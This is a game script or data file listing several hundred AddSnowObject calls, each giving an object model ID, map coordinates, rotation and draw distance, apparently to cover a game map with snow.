AddSnowObject(11253, -1385.719, 670.804, 42.976, 0.000, 0.000, 36.062, 240.7);
AddSnowObject(11254, -1132.069, 855.085, 42.328, 0.000, 0.000, 0.000, 245.4);
AddSnowObject(11255, -1558.550, 546.320, 14.921, 0.000, 0.000, 0.000, 201.7);
AddSnowObject(11256, -1432.609, 639.484, 35.601, 0.000, 0.000, 0.000, 202.8);
AddSnowObject(11258, -1319.589, 716.781, 42.531, 0.000, 0.000, 0.000, 213.3);
AddSnowObject(11260, -1198.400, 808.632, 42.531, 0.000, 0.000, 0.000, 213.4);
AddSnowObject(11261, -1563.180, 541.929, 26.726, 0.000, 0.000, 0.000, 185.4);
AddSnowObject(11283, -1693.319, -46.859, -5.820, 0.000, 0.000, 0.000, 261.0);
AddSnowObject(11287, -1594.989, 419.695, 6.179, 0.000, 0.000, 0.000, 199.4);
AddSnowObject(11288, -1670.030, 311.554, -2.546, 0.000, 0.000, 0.000, 203.8);
AddSnowObject(11297, -1918.290, 360.273, 30.125, 0.000, 0.000, 0.000, 194.9);
AddSnowObject(11299, -2004.160, 298.390, 31.023, 0.000, 0.000, 0.000, 161.3);
AddSnowObject(11302, -1867.150, 269.960, 27.023, 0.000, 0.000, 0.000, 222.3);
AddSnowObject(11303, -1894.979, 105.789, 23.171, 0.000, 0.000, 0.000, 258.1);
AddSnowObject(11306, -1941.459, 140.233, 25.257, 0.000, 0.000, 0.000, 170.8);
AddSnowObject(11308, -1998.479, 158.391, 25.960, 0.000, 0.000, 0.000, 182.0);
AddSnowObject(11332, -1786.119, 73.937, 6.312, 0.000, 0.000, 0.000, 201.7);
AddSnowObject(11335, -2091.709, -596.351, 40.554, 0.000, 0.000, 0.000, 260.1);
AddSnowObject(11337, -1963.310, -1055.510, 21.929, 0.000, 0.000, 0.000, 186.4);
AddSnowObject(11342, -1981.810, -679.804, 27.859, 0.000, 0.000, 0.000, 188.6);
AddSnowObject(11343, -1980.550, -870.539, 27.023, 0.000, 0.000, 0.000, 202.7);
AddSnowObject(11345, -2312.000, 422.796, 31.468, 0.000, 0.000, 0.000, 200.8);
AddSnowObject(11351, -2117.639, -305.148, 34.304, 0.000, 0.000, 0.000, 203.4);
AddSnowObject(11362, -1955.250, -789.351, 31.125, 0.000, 0.000, 0.000, 174.6);
AddSnowObject(11363, -1955.239, -929.429, 31.125, 0.000, 0.000, 0.000, 175.6);
AddSnowObject(11364, -2073.709, -859.945, 30.570, 0.000, 0.000, 0.000, 209.3);
AddSnowObject(11365, -1945.229, -930.140, 31.093, 0.000, 0.000, 0.000, 186.5);
AddSnowObject(11367, -1304.040, -62.453, -9.656, 0.000, 0.000, 135.000, 307.7);
AddSnowObject(11381, -1349.329, 879.421, 43.031, 0.000, 0.000, -133.500, 222.1);
AddSnowObject(11382, -1200.750, 1035.979, 38.414, 0.000, 0.000, -133.499, 197.5);
AddSnowObject(11409, -2317.909, 523.562, 28.953, 0.000, 0.000, 0.000, 186.6);
AddSnowObject(10811, -1546.300, -656.218, 25.078, 0.000, 0.000, 0.000, 143.2);
AddSnowObject(11242, -1806.150, -421.945, 16.242, 0.000, 0.000, 0.000, 145.3);
AddSnowObject(11240, -1792.689, -322.187, 22.289, 0.000, 0.000, 0.000, 136.1);
AddSnowObject(10761, -1548.839, -293.234, 9.250, 0.000, 0.000, 0.000, 194.9);
AddSnowObject(10760, -1408.359, -433.679, 9.250, 0.000, 0.000, 0.000, 194.9);
AddSnowObject(11241, -1789.410, -244.358, 19.101, 0.000, 0.000, 0.000, 131.2);
AddSnowObject(10856, -1896.739, -152.007, 15.546, 0.000, 0.000, 0.000, 193.2);
AddSnowObject(10891, -1817.989, -162.352, 11.007, 0.000, 0.000, 0.000, 137.9);
AddSnowObject(11238, -1789.449, -166.516, 10.546, 0.000, 0.000, 0.000, 140.2);
AddSnowObject(3887, -2066.360, 301.914, 42.171, 0.000, 0.000, -89.999, 130.1);
AddSnowObject(10952, -2200.689, 348.273, 46.500, 0.000, 0.000, 0.000, 151.4);
AddSnowObject(10953, -2196.310, 410.289, 42.468, 0.000, 0.000, 0.000, 158.6);
AddSnowObject(10949, -2076.270, 359.320, 44.593, 0.000, 0.000, 0.000, 160.1);
AddSnowObject(11101, -1900.449, 363.304, 25.937, 0.000, 0.000, 0.000, 149.0);
AddSnowObject(10947, -2288.590, 462.054, 34.476, 0.000, 0.000, 0.000, 176.1);
AddSnowObject(10951, -2186.379, 477.984, 47.046, 0.000, 0.000, 0.000, 155.1);
AddSnowObject(10950, -2186.760, 536.257, 47.343, 0.000, 0.000, 0.000, 143.0);
AddSnowObject(10925, -2072.580, 534.320, 56.593, 0.000, 0.000, 0.000, 165.4);
AddSnowObject(10885, -1675.089, 324.578, 9.281, 0.000, 0.000, 0.000, 185.2);
AddSnowObject(10827, -1539.209, 371.203, 29.804, 0.000, 0.000, 0.000, 216.6);
AddSnowObject(10835, -1561.630, 434.164, 9.273, 0.000, 0.000, 0.000, 173.2);
AddSnowObject(10825, -1412.290, 351.445, 13.710, 0.000, 0.000, 0.000, 169.5);
AddSnowObject(10824, -1409.900, 389.476, 8.179, 0.000, 0.000, 0.000, 189.4);
AddSnowObject(10826, -1407.000, 390.960, 13.101, 0.000, 0.000, 0.000, 204.5);
AddSnowObject(10764, -1041.359, 451.250, 16.484, 0.000, 0.000, 0.000, 141.4);
AddSnowObject(10770, -1354.469, 493.750, 38.679, 0.000, 0.000, 0.000, 134.8);
AddSnowObject(11237, -1354.420, 493.750, 38.679, 0.000, 0.000, 0.000, 134.3);
AddSnowObject(3873, -2081.909, -911.179, 48.523, 0.000, 0.000, 0.000, 133.3);
AddSnowObject(3873, -2081.909, -962.414, 48.523, 0.000, 0.000, 0.000, 133.3);
AddSnowObject(3873, -2081.909, -859.945, 48.523, 0.000, 0.000, 0.000, 133.3);
AddSnowObject(3873, -2081.909, -808.718, 48.523, 0.000, 0.000, 0.000, 133.3);
AddSnowObject(3873, -2081.909, -757.484, 48.523, 0.000, 0.000, 0.000, 133.3);
AddSnowObject(11013, -2163.909, -264.335, 42.031, 0.000, 0.000, 0.000, 166.6);
AddSnowObject(10993, -2195.709, -156.757, 42.164, 0.000, 0.000, 0.000, 130.3);
AddSnowObject(11082, -2149.600, -140.710, 37.523, 0.000, 0.000, 0.000, 180.1);
AddSnowObject(11009, -2128.540, -142.843, 39.140, 0.000, 0.000, 0.000, 169.1);
AddSnowObject(11001, -2229.969, -22.531, 46.156, 0.000, 0.000, 0.000, 141.6);
AddSnowObject(11000, -2229.270, 46.679, 47.320, 0.000, 0.000, -0.000, 131.5);
AddSnowObject(10990, -2190.439, 5.570, 48.453, 0.000, 0.000, 0.000, 136.1);
AddSnowObject(10989, -2183.219, 70.414, 46.156, 0.000, 0.000, 0.000, 135.4);
AddSnowObject(10991, -2143.969, -9.289, 42.593, 0.000, 0.000, 0.000, 133.6);
AddSnowObject(10988, -2137.199, 70.281, 42.312, 0.000, 0.000, 0.000, 138.3);
AddSnowObject(10980, -2222.760, 136.789, 45.609, 0.000, 0.000, 0.000, 130.1);
AddSnowObject(10975, -2179.020, 154.960, 46.656, 0.000, 0.000, 0.000, 152.5);
AddSnowObject(10978, -2207.629, 173.375, 51.664, 0.000, 0.000, 0.000, 131.3);
AddSnowObject(11110, -2169.290, 208.022, 34.242, 0.000, 0.000, 0.000, 173.4);
AddSnowObject(10973, -2199.330, 264.328, 42.195, 0.000, 0.000, 0.000, 168.2);
AddSnowObject(10974, -2199.330, 252.007, 53.250, 0.000, 0.000, 0.000, 163.0);
AddSnowObject(3887, -2128.179, 171.460, 42.429, 0.000, 0.000, 0.000, 130.1);
AddSnowObject(11340, -2079.949, 159.203, 30.867, 0.000, 0.000, 0.000, 175.1);
AddSnowObject(10987, -2137.820, 264.281, 35.781, 0.000, 0.000, 0.000, 146.2);
AddSnowObject(10976, -2056.550, -91.421, 34.492, 0.000, 0.000, 179.999, 140.9);
AddSnowObject(11004, -2029.060, -10.109, 43.734, 0.000, 0.000, 0.000, 139.0);
AddSnowObject(11387, -2038.750, 150.710, 31.195, 0.000, 0.000, 0.000, 139.4);
AddSnowObject(10972, -1976.609, 9.054, 29.515, 0.000, 0.000, 0.000, 172.4);
AddSnowObject(11305, -1968.560, 139.108, 31.867, 0.000, 0.000, 0.000, 169.1);
AddSnowObject(11316, -1945.939, 208.570, 33.359, 0.000, 0.000, 0.000, 167.2);
AddSnowObject(11318, -1968.260, 274.367, 35.539, 0.000, 0.000, 0.000, 146.7);
AddSnowObject(11317, -1947.219, 280.820, 45.273, 0.000, 0.000, 0.000, 139.2);
AddSnowObject(10776, -1849.630, -54.312, 24.976, 0.000, 0.000, 0.000, 154.0);
AddSnowObject(10775, -1847.780, 44.781, 35.562, 0.000, 0.000, 0.000, 178.0);
AddSnowObject(10754, -1814.900, -33.414, 9.281, 0.000, 0.000, 0.000, 159.7);
AddSnowObject(10890, -1755.339, -47.695, 7.093, 0.000, 0.000, 0.000, 158.3);
AddSnowObject(10830, -1671.449, 70.648, 10.648, 0.000, 0.000, 0.000, 149.2);
AddSnowObject(10889, -1756.239, 62.117, 6.015, 0.000, 0.000, 0.000, 151.7);
AddSnowObject(11301, -1914.050, 274.281, 40.015, 0.000, 0.000, 0.000, 151.5);
AddSnowObject(11285, -1719.819, 138.897, -8.429, 0.000, 0.000, 0.000, 192.8);
AddSnowObject(1378, -1723.579, 188.921, 27.031, 0.000, 0.000, -89.999, 140.9);
AddSnowObject(10442, -2573.179, -15.421, 11.117, 0.000, 0.000, 0.000, 150.3);
AddSnowObject(10443, -2573.179, -15.421, 9.539, 0.000, 0.000, 0.000, 149.5);
AddSnowObject(10464, -2512.959, -70.242, 20.890, 0.000, 0.000, 0.046, 183.6);
AddSnowObject(10433, -2531.520, -23.773, 18.875, 0.000, 0.000, 0.000, 142.5);
AddSnowObject(10450, -2501.229, -15.320, 24.648, 0.000, 0.000, 89.995, 146.1);
AddSnowObject(10441, -2530.590, 16.921, 21.273, 0.000, 0.000, 0.000, 130.6);
AddSnowObject(10429, -2474.179, -47.632, 34.117, 0.000, 0.000, 0.000, 138.6);
AddSnowObject(10436, -2468.159, -24.476, 29.578, 0.000, 0.000, 0.000, 142.9);
AddSnowObject(10437, -2457.760, -29.062, 32.492, 0.000, 0.000, 0.000, 132.1);
AddSnowObject(10430, -2461.090, 19.382, 36.242, 0.000, 0.000, 0.000, 135.0);
AddSnowObject(10458, -2421.949, -80.085, 34.242, 0.000, 0.000, -90.058, 219.8);
AddSnowObject(10428, -2436.750, -14.742, 36.000, 0.000, 0.000, 0.000, 138.4);
AddSnowObject(10424, -2353.649, -70.289, 34.250, 0.000, 0.000, 0.016, 171.2);
AddSnowObject(10355, -2315.310, -10.289, 34.312, 0.000, 0.000, 0.000, 168.5);
AddSnowObject(10389, -2341.949, 9.710, 35.507, 0.000, 0.000, 0.000, 136.0);
AddSnowObject(10457, -2342.409, 20.929, 34.250, 0.000, 0.000, 90.028, 183.4);
AddSnowObject(10390, -2302.139, 10.585, 42.554, 0.000, 0.000, 0.000, 133.4);
AddSnowObject(10447, -2550.169, 54.562, 14.390, 0.000, 0.000, 0.000, 152.2);
AddSnowObject(10469, -2529.699, 38.710, 17.390, 0.000, 0.000, -179.976, 202.8);
AddSnowObject(10435, -2481.030, 52.687, 28.789, 0.000, 0.000, 0.000, 158.1);
AddSnowObject(10426, -2512.800, 108.438, 18.671, 0.000, 0.000, 0.000, 192.8);
AddSnowObject(10445, -2495.760, 124.726, 26.820, 0.000, 0.000, 0.000, 138.0);
AddSnowObject(10446, -2479.810, 124.773, 27.804, 0.000, 0.000, 0.000, 161.2);
AddSnowObject(10455, -2424.719, 125.109, 34.109, 0.000, 0.000, -93.265, 171.7);
AddSnowObject(10425, -2456.830, 134.507, 49.468, 0.000, 0.000, 0.000, 140.5);
AddSnowObject(10480, -2571.350, 159.352, 3.734, 0.000, 0.000, 0.000, 187.7);
AddSnowObject(10452, -2447.389, 161.429, 34.273, 0.000, 0.000, -141.926, 151.7);
AddSnowObject(10422, -2779.810, 196.703, 6.750, 0.000, 0.000, 0.000, 134.8);
AddSnowObject(10382, -2776.300, 200.421, 5.976, 0.000, 0.000, 0.000, 139.8);
AddSnowObject(10383, -2757.199, 222.507, 11.125, 0.000, 0.000, 0.000, 171.0);
AddSnowObject(10608, -2676.040, 188.460, 3.890, 0.000, 0.000, -89.999, 131.9);
AddSnowObject(10618, -2612.679, 191.117, 5.921, 0.000, 0.000, 0.000, 141.6);
AddSnowObject(10649, -2594.340, 204.546, 5.851, 0.000, 0.000, 0.000, 156.1);
AddSnowObject(10482, -2676.300, 223.000, 3.257, 0.000, 0.000, 0.000, 168.1);
AddSnowObject(10606, -2676.840, 253.000, 12.101, 0.000, 0.000, 0.000, 133.9);
AddSnowObject(10609, -2617.020, 257.921, 6.445, 0.000, 0.000, 0.000, 136.6);
AddSnowObject(10634, -2575.030, 264.695, 18.898, 0.000, 0.000, 0.000, 143.2);
AddSnowObject(10635, -2580.139, 266.765, 10.507, 0.000, 0.000, 0.000, 147.4);
AddSnowObject(10478, -2814.929, 285.078, 5.156, 0.000, 0.000, 89.999, 183.7);
AddSnowObject(10477, -2731.449, 288.281, 4.000, 0.000, 0.000, -0.002, 152.1);
AddSnowObject(10380, -2706.300, 311.835, 12.765, 0.000, 0.000, 0.000, 141.3);
AddSnowObject(10377, -2784.629, 375.609, 21.578, 0.000, 0.000, 0.000, 166.5);
AddSnowObject(10471, -2852.790, 384.453, 3.437, 0.000, 0.000, -89.997, 161.5);
AddSnowObject(10378, -2706.300, 375.554, 3.382, 0.000, 0.000, 0.000, 146.2);
AddSnowObject(10473, -2706.159, 377.851, 3.265, 0.000, 0.000, 89.997, 195.9);
AddSnowObject(10379, -2706.300, 439.273, 12.718, 0.000, 0.000, 0.000, 141.4);
AddSnowObject(10629, -2574.350, 319.960, 12.078, 0.000, 0.000, 0.000, 132.7);
AddSnowObject(10367, -2646.699, 368.304, 8.367, 0.000, 0.000, 0.000, 203.0);
AddSnowObject(10381, -2637.409, 376.039, 15.898, 0.000, 0.000, 0.000, 137.7);
AddSnowObject(10636, -2568.229, 397.460, 14.429, 0.000, 0.000, 0.000, 135.0);
AddSnowObject(10617, -2553.590, 277.687, 13.601, 0.000, 0.000, 0.000, 159.5);
AddSnowObject(10713, -2545.300, 197.867, 10.734, 0.000, 0.000, 0.000, 149.8);
AddSnowObject(10633, -2539.050, 255.516, 19.062, 0.000, 0.000, 0.000, 145.7);
AddSnowObject(10356, -2481.610, 169.742, 19.250, 0.000, 0.000, 0.000, 157.0);
AddSnowObject(10616, -2471.340, 212.250, 18.750, 0.000, 0.000, 0.000, 163.5);
AddSnowObject(10487, -2427.439, 229.585, 20.046, 0.000, 0.000, -134.228, 186.1);
AddSnowObject(10561, -2337.659, 220.500, 30.445, 0.000, 0.000, 0.000, 216.8);
AddSnowObject(10470, -2416.570, 237.438, 34.218, 0.000, 0.000, 45.178, 154.9);
AddSnowObject(10448, -2563.209, 348.976, 11.281, 0.000, 0.000, 0.000, 137.0);
AddSnowObject(10627, -2554.379, 376.773, 25.718, 0.000, 0.000, 0.000, 131.7);
AddSnowObject(10615, -2476.649, 313.226, 23.921, 0.000, 0.000, 0.000, 164.2);
AddSnowObject(10651, -2479.219, 348.085, 31.148, 0.000, 0.000, 0.000, 167.3);
AddSnowObject(10621, -2499.860, 365.648, 26.210, 0.000, 0.000, 0.000, 183.8);
AddSnowObject(10483, -2319.610, 309.914, 36.398, 0.000, 0.000, 26.484, 163.8);
AddSnowObject(10560, -2346.229, 324.382, 30.445, 0.000, 0.000, 0.000, 209.4);
AddSnowObject(10718, -2410.280, 329.484, 38.320, 0.000, 0.000, 0.000, 168.7);
AddSnowObject(10485, -2384.169, 337.429, 34.085, 0.000, 0.000, 47.074, 186.9);
AddSnowObject(10412, -2432.750, 341.601, 61.117, 0.000, 0.000, 0.000, 192.9);
AddSnowObject(10613, -2536.879, 445.125, 21.000, 0.000, 0.000, 0.000, 171.1);
AddSnowObject(10639, -2517.169, 407.835, 23.203, 0.000, 0.000, 0.000, 166.8);
AddSnowObject(10626, -2523.550, 446.984, 31.132, 0.000, 0.000, 0.000, 146.7);
AddSnowObject(10610, -2468.669, 521.078, 39.562, 0.000, 0.000, -179.999, 139.9);
AddSnowObject(10623, -2403.459, 407.898, 34.062, 0.000, 0.000, 47.074, 149.7);
AddSnowObject(10622, -2466.510, 421.484, 30.398, 0.000, 0.000, 0.000, 142.6);
AddSnowObject(10619, -2396.340, 445.171, 55.343, 0.000, 0.000, 0.000, 202.5);
AddSnowObject(10614, -2437.090, 481.679, 28.304, 0.000, 0.000, 0.000, 165.5);
AddSnowObject(10611, -2453.659, 514.500, 24.437, 0.000, 0.000, 179.999, 177.4);
AddSnowObject(10612, -2453.659, 514.500, 21.570, 0.000, 0.000, 0.000, 177.1);
AddSnowObject(10676, -2528.659, -672.304, 139.460, 0.000, 0.000, 0.000, 150.2);
AddSnowObject(10357, -2501.790, -701.187, 227.147, 0.000, 0.000, 0.000, 191.9);
AddSnowObject(10360, -2455.520, -538.343, 114.109, 0.000, 0.000, 0.000, 179.2);
AddSnowObject(10490, -2384.840, -677.984, 114.155, 0.000, 0.000, 0.000, 199.0);
AddSnowObject(10488, -2274.949, -811.179, 73.226, 0.000, 0.000, 0.000, 220.0);
AddSnowObject(10493, -2159.729, -1005.450, 39.531, 0.000, 0.000, 0.000, 240.2);
AddSnowObject(10574, -2514.399, -335.421, 30.023, 0.000, 0.000, 0.000, 136.8);
AddSnowObject(10572, -2450.699, -333.648, 35.062, 0.000, 0.000, 0.000, 135.6);
AddSnowObject(10573, -2385.860, -335.007, 38.890, 0.000, 0.000, 0.000, 135.9);
AddSnowObject(10366, -2321.370, -338.515, 40.773, 0.000, 0.000, 0.000, 136.3);
AddSnowObject(10459, -2509.810, -207.921, 21.179, 0.000, 0.000, -179.950, 188.0);
AddSnowObject(10431, -2460.639, -152.000, 37.734, 0.000, 0.000, 0.000, 160.0);
AddSnowObject(10411, -2396.590, -144.445, 34.312, 0.000, 0.000, 0.000, 169.3);
AddSnowObject(10456, -2343.370, -161.108, 34.250, 0.000, 0.000, -90.028, 182.0);
AddSnowObject(10744, -2328.360, -163.578, 35.578, 0.000, 0.000, 0.000, 136.3);
AddSnowObject(10440, -2503.479, -137.358, 24.546, 0.000, 0.000, 89.942, 160.8);
AddSnowObject(10438, -2461.149, -140.320, 30.101, 0.000, 0.000, 0.000, 167.3);
AddSnowObject(10395, -2316.000, -130.289, 34.312, 0.000, 0.000, 0.000, 167.9);
AddSnowObject(10394, -2336.929, -105.289, 37.000, 0.000, 0.000, 0.000, 132.1);
AddSnowObject(10434, -2461.679, -101.085, 36.320, 0.000, 0.000, 0.000, 140.5);
AddSnowObject(10486, -2817.340, -436.898, 6.132, 0.000, 0.000, -94.092, 155.9);
AddSnowObject(10400, -2778.949, -405.531, 7.671, 0.000, 0.000, 0.000, 170.3);
AddSnowObject(10402, -2778.669, -414.250, 7.742, 0.000, 0.000, 0.000, 132.8);
AddSnowObject(10361, -2563.969, -476.429, 80.421, 0.000, 0.000, 0.000, 184.9);
AddSnowObject(10481, -2811.439, -310.968, 6.109, 0.000, 0.000, 83.906, 181.9);
AddSnowObject(10396, -2752.100, -252.242, 7.976, 0.000, 0.000, 0.000, 144.9);
AddSnowObject(10397, -2752.129, -252.233, 10.078, 0.000, 0.000, 0.000, 144.8);
AddSnowObject(10406, -2733.149, -271.710, 6.492, 0.000, 0.000, 0.000, 188.1);
AddSnowObject(10484, -2728.870, -294.625, 5.750, 0.000, 0.000, -174.504, 198.8);
AddSnowObject(10398, -2722.540, -341.742, 34.539, 0.000, 0.000, 45.150, 194.1);
AddSnowObject(10399, -2721.399, -341.507, 6.039, 0.000, 0.000, 0.000, 212.2);
AddSnowObject(10410, -2604.209, -284.218, 20.492, 0.000, 0.000, 0.000, 198.3);
AddSnowObject(10475, -2807.479, -163.647, 6.117, 0.000, 0.000, -91.991, 171.4);
AddSnowObject(10414, -2779.429, -169.289, 7.281, 0.000, 0.000, 0.000, 136.7);
AddSnowObject(10350, -2734.860, -169.358, 6.531, 0.000, 0.000, 0.000, 136.4);
AddSnowObject(10460, -2683.929, -208.867, 4.015, 0.000, 0.000, -0.000, 202.8);
AddSnowObject(10415, -2677.729, -167.641, 4.421, 0.000, 0.000, 0.000, 137.8);
AddSnowObject(10416, -2633.120, -167.897, 4.421, 0.000, 0.000, 0.000, 137.9);
AddSnowObject(10427, -2552.790, -170.757, 22.312, 0.000, 0.000, 0.000, 155.1);
AddSnowObject(10370, -2756.850, -140.335, 5.937, 0.000, 0.000, 0.000, 160.1);
AddSnowObject(10466, -2706.300, -140.304, 3.265, 0.000, 0.000, 89.942, 160.7);
AddSnowObject(10371, -2655.739, -140.335, 3.085, 0.000, 0.000, -0.000, 160.1);
AddSnowObject(10461, -2602.719, -137.375, 3.265, 0.000, 0.000, 89.942, 160.8);
AddSnowObject(10462, -2558.330, -130.335, 11.148, 0.000, 0.000, -179.928, 144.2);
AddSnowObject(10565, -2734.870, -111.515, 5.921, 0.000, 0.000, 0.000, 136.6);
AddSnowObject(10566, -2779.510, -110.344, 7.281, 0.000, 0.000, 0.000, 135.8);
AddSnowObject(10564, -2677.719, -107.664, 5.031, 0.000, 0.000, 0.000, 133.3);
AddSnowObject(10563, -2633.159, -107.898, 4.421, 0.000, 0.000, 0.000, 133.8);
AddSnowObject(10432, -2551.459, -99.359, 22.312, 0.000, 0.000, 0.000, 151.9);
AddSnowObject(10476, -2805.610, -11.156, 6.109, 0.000, 0.000, -90.011, 165.6);
AddSnowObject(10417, -2780.179, -35.515, 7.210, 0.000, 0.000, 0.000, 131.1);
AddSnowObject(10372, -2757.479, -15.421, 4.539, 0.000, 0.000, 0.000, 161.2);
AddSnowObject(10358, -2736.699, -34.414, 5.453, 0.000, 0.000, 0.000, 133.3);
AddSnowObject(10374, -2741.280, 98.601, 5.781, 0.000, 0.000, 0.000, 155.5);
AddSnowObject(10463, -2807.439, 127.648, 6.117, 0.000, 0.000, 89.996, 169.8);
AddSnowObject(10571, -2780.020, 122.710, 7.281, 0.000, 0.000, 0.000, 131.4);
AddSnowObject(10376, -2733.290, 117.585, 9.195, 0.000, 0.000, 0.000, 136.4);
AddSnowObject(10468, -2714.379, 40.187, 4.406, 0.000, 0.000, -179.999, 193.2);
AddSnowObject(10467, -2708.409, -8.867, 3.257, 0.000, 0.000, 90.003, 145.9);
AddSnowObject(10465, -2691.629, -70.929, 4.242, 0.000, 0.000, -10.668, 206.4);
AddSnowObject(10368, -2655.129, -15.421, 23.812, 0.000, 0.000, 0.000, 164.5);
AddSnowObject(10449, -2603.989, -16.710, 3.265, 0.000, 0.000, 90.029, 146.8);
AddSnowObject(10474, -2706.409, 89.796, 3.265, 0.000, 0.000, 89.973, 150.0);
AddSnowObject(10373, -2655.149, 94.421, 1.687, 0.000, 0.000, -0.000, 164.3);
AddSnowObject(10472, -2603.979, 91.265, 3.265, 0.000, 0.000, -90.043, 150.0);
AddSnowObject(10419, -2676.620, 117.585, 4.101, 0.000, 0.000, 0.000, 136.2);
AddSnowObject(10420, -2632.449, 118.694, 3.898, 0.000, 0.000, 0.000, 134.6);
AddSnowObject(10479, -2719.860, 157.022, 4.484, 0.000, 0.000, -179.970, 177.0);
AddSnowObject(9484, -2681.590, 1316.060, 25.140, 0.000, 0.000, 0.000, 162.7);
AddSnowObject(9486, -2846.449, 988.679, 37.750, 0.000, 0.000, -78.638, 229.9);
AddSnowObject(9487, -2755.939, 1287.729, 5.414, 0.000, 0.000, -1.735, 173.3);
AddSnowObject(9488, -2620.320, 1322.770, 6.117, 0.000, 0.000, 9.746, 171.3);
AddSnowObject(9489, -2377.159, 1372.500, 6.156, 0.000, 0.000, -179.921, 165.4);
AddSnowObject(9490, -2749.080, 802.093, 53.335, 0.000, 0.000, -89.999, 199.3);
AddSnowObject(9491, -2603.530, 1004.770, 69.218, 0.000, 0.000, -96.981, 196.8);
AddSnowObject(9492, -2385.149, 980.851, 47.500, 0.000, 0.000, -90.028, 174.9);
AddSnowObject(9493, -2508.129, 1101.199, 54.656, 0.000, 0.000, 165.177, 161.4);
AddSnowObject(9529, -2292.620, 1065.380, 80.265, 0.000, 0.000, 0.000, 203.4);
AddSnowObject(9530, -2917.639, 682.148, 0.078, 0.000, 0.000, -0.000, 244.1);
AddSnowObject(9551, -2960.989, 1089.599, 0.078, 0.000, 0.000, 0.000, 223.9);
AddSnowObject(9552, -2944.919, 889.312, 0.078, 0.000, 0.000, 0.000, 238.0);
AddSnowObject(9553, -2922.899, 1256.949, -33.492, 0.000, 0.000, 0.000, 209.0);
AddSnowObject(9570, -2260.229, 905.523, 64.250, 0.000, 0.000, -90.005, 217.7);
AddSnowObject(9571, -2259.320, 1124.180, 68.398, 0.000, 0.000, -89.992, 184.3);
AddSnowObject(9578, -2342.300, 1285.150, 29.312, 0.000, 0.000, 0.000, 172.5);
AddSnowObject(9579, -2391.800, 1285.140, 29.328, 0.000, 0.000, 0.000, 172.7);
AddSnowObject(9580, -2434.459, 1292.949, 23.601, 0.000, 0.000, 0.000, 164.2);
AddSnowObject(9581, -2476.500, 1292.910, 23.593, 0.000, 0.000, 0.000, 154.4);
AddSnowObject(9582, -2657.919, 1409.709, 14.828, 0.000, 0.000, 0.000, 149.5);
AddSnowObject(9584, -2485.080, 1544.949, 26.195, 0.000, 0.000, 0.000, 132.5);
AddSnowObject(9585, -2409.840, 1544.949, 7.000, 0.000, 0.000, -0.000, 217.1);
AddSnowObject(9586, -2412.129, 1544.949, 17.046, 0.000, 0.000, 0.000, 212.3);
AddSnowObject(9587, -2401.139, 1544.939, 23.593, 0.000, 0.000, 0.000, 167.0);
AddSnowObject(9588, -2404.209, 1544.939, 7.585, 0.000, 0.000, 0.000, 139.6);
AddSnowObject(9590, -2403.510, 1544.949, 8.718, 0.000, 0.000, -0.000, 141.3);
AddSnowObject(9591, -2117.620, 1326.119, 6.140, 0.000, 0.000, -20.253, 177.0);
AddSnowObject(9593, -2673.800, 639.976, 39.617, 0.000, 0.000, 0.000, 193.8);
AddSnowObject(9597, -2914.530, 534.851, 0.375, 0.000, 0.000, 0.000, 221.8);
AddSnowObject(9600, -2749.659, 621.179, 24.945, 0.000, 0.000, -89.999, 174.4);
AddSnowObject(9601, -2607.020, 810.742, 47.382, 0.000, 0.000, 89.999, 192.4);
AddSnowObject(9602, -2260.239, 634.109, 41.203, 0.000, 0.000, -89.999, 224.5);
AddSnowObject(9604, -2392.590, 1545.910, 24.859, 0.000, 0.000, 0.000, 167.6);
AddSnowObject(9899, -2447.699, 1012.880, 56.875, 0.000, 0.000, 0.000, 200.2);
AddSnowObject(9608, -2530.830, 1216.349, 41.992, 0.000, 0.000, 0.000, 182.4);
AddSnowObject(9609, -2477.260, 1277.430, 20.226, 0.000, 0.000, 0.000, 225.6);
AddSnowObject(9613, -2617.080, 1391.609, 6.093, 0.000, 0.000, 0.000, 230.9);
AddSnowObject(9614, -2778.739, 569.289, 18.343, 0.000, 0.000, 0.000, 213.5);
AddSnowObject(9615, -2784.919, 786.039, 51.593, 0.000, 0.000, 0.000, 217.5);
AddSnowObject(9616, -2517.790, 1172.930, 44.632, 0.000, 0.000, 0.000, 209.5);
AddSnowObject(9617, -2365.209, 1067.229, 50.656, 0.000, 0.000, 0.000, 217.1);
AddSnowObject(9652, -2385.090, 614.242, 28.773, 0.000, 0.000, -89.999, 173.7);
AddSnowObject(9653, -2369.860, 1083.729, 54.656, 0.000, 0.000, 168.410, 189.0);
AddSnowObject(9683, -2681.489, 1384.660, 33.296, 0.000, 0.000, 0.000, 190.1);
AddSnowObject(9685, -2681.489, 1529.109, 112.789, 0.000, 0.000, 0.000, 190.8);
AddSnowObject(9689, -2681.489, 1684.459, 120.453, 0.000, 0.000, 0.000, 212.2);
AddSnowObject(9690, -2681.489, 1595.010, 109.438, 0.000, 0.000, 0.000, 236.9);
AddSnowObject(9693, -2681.489, 1847.939, 120.085, 0.000, 0.000, 0.000, 207.0);
AddSnowObject(9694, -2681.489, 1933.869, 109.438, 0.000, 0.000, 0.000, 236.9);
AddSnowObject(9696, -2681.489, 2042.160, 86.718, 0.000, 0.000, 0.000, 245.8);
AddSnowObject(9703, -2359.550, 1179.209, 41.390, 0.000, 0.000, -35.254, 189.4);
AddSnowObject(9705, -2319.050, 1068.630, 60.210, 0.000, 0.000, 0.000, 138.6);
AddSnowObject(9706, -2497.439, 709.640, 30.312, 0.000, 0.000, -0.021, 221.7);
AddSnowObject(9707, -2387.919, 830.687, 37.718, 0.000, 0.000, -89.999, 200.9);
AddSnowObject(9708, -2530.770, 908.312, 61.343, 0.000, 0.000, 0.028, 209.6);
AddSnowObject(9709, -2497.860, 808.320, 41.531, 0.000, 0.000, 179.949, 199.5);
AddSnowObject(9710, -2527.909, 806.679, 46.593, 0.000, 0.000, -89.951, 192.6);
AddSnowObject(9711, -2541.320, 566.554, 14.875, 0.000, 0.000, 0.192, 209.8);
AddSnowObject(9712, -2527.280, 593.945, 20.273, 0.000, 0.000, 89.999, 215.0);
AddSnowObject(9714, -2738.100, 466.718, 4.828, 0.000, 0.000, 1.611, 224.5);
AddSnowObject(9715, -2830.879, 567.015, 5.625, 0.000, 0.000, 75.086, 196.3);
AddSnowObject(9716, -2677.389, 565.812, 13.554, 0.000, 0.000, 179.999, 163.6);
AddSnowObject(9718, -2842.729, 773.921, 32.359, 0.000, 0.000, 69.746, 225.4);
AddSnowObject(9719, -2852.699, 1220.010, 6.984, 0.000, 0.000, -110.253, 191.0);
AddSnowObject(9720, -2455.760, 1283.839, 21.898, 0.000, 0.000, -89.999, 179.1);
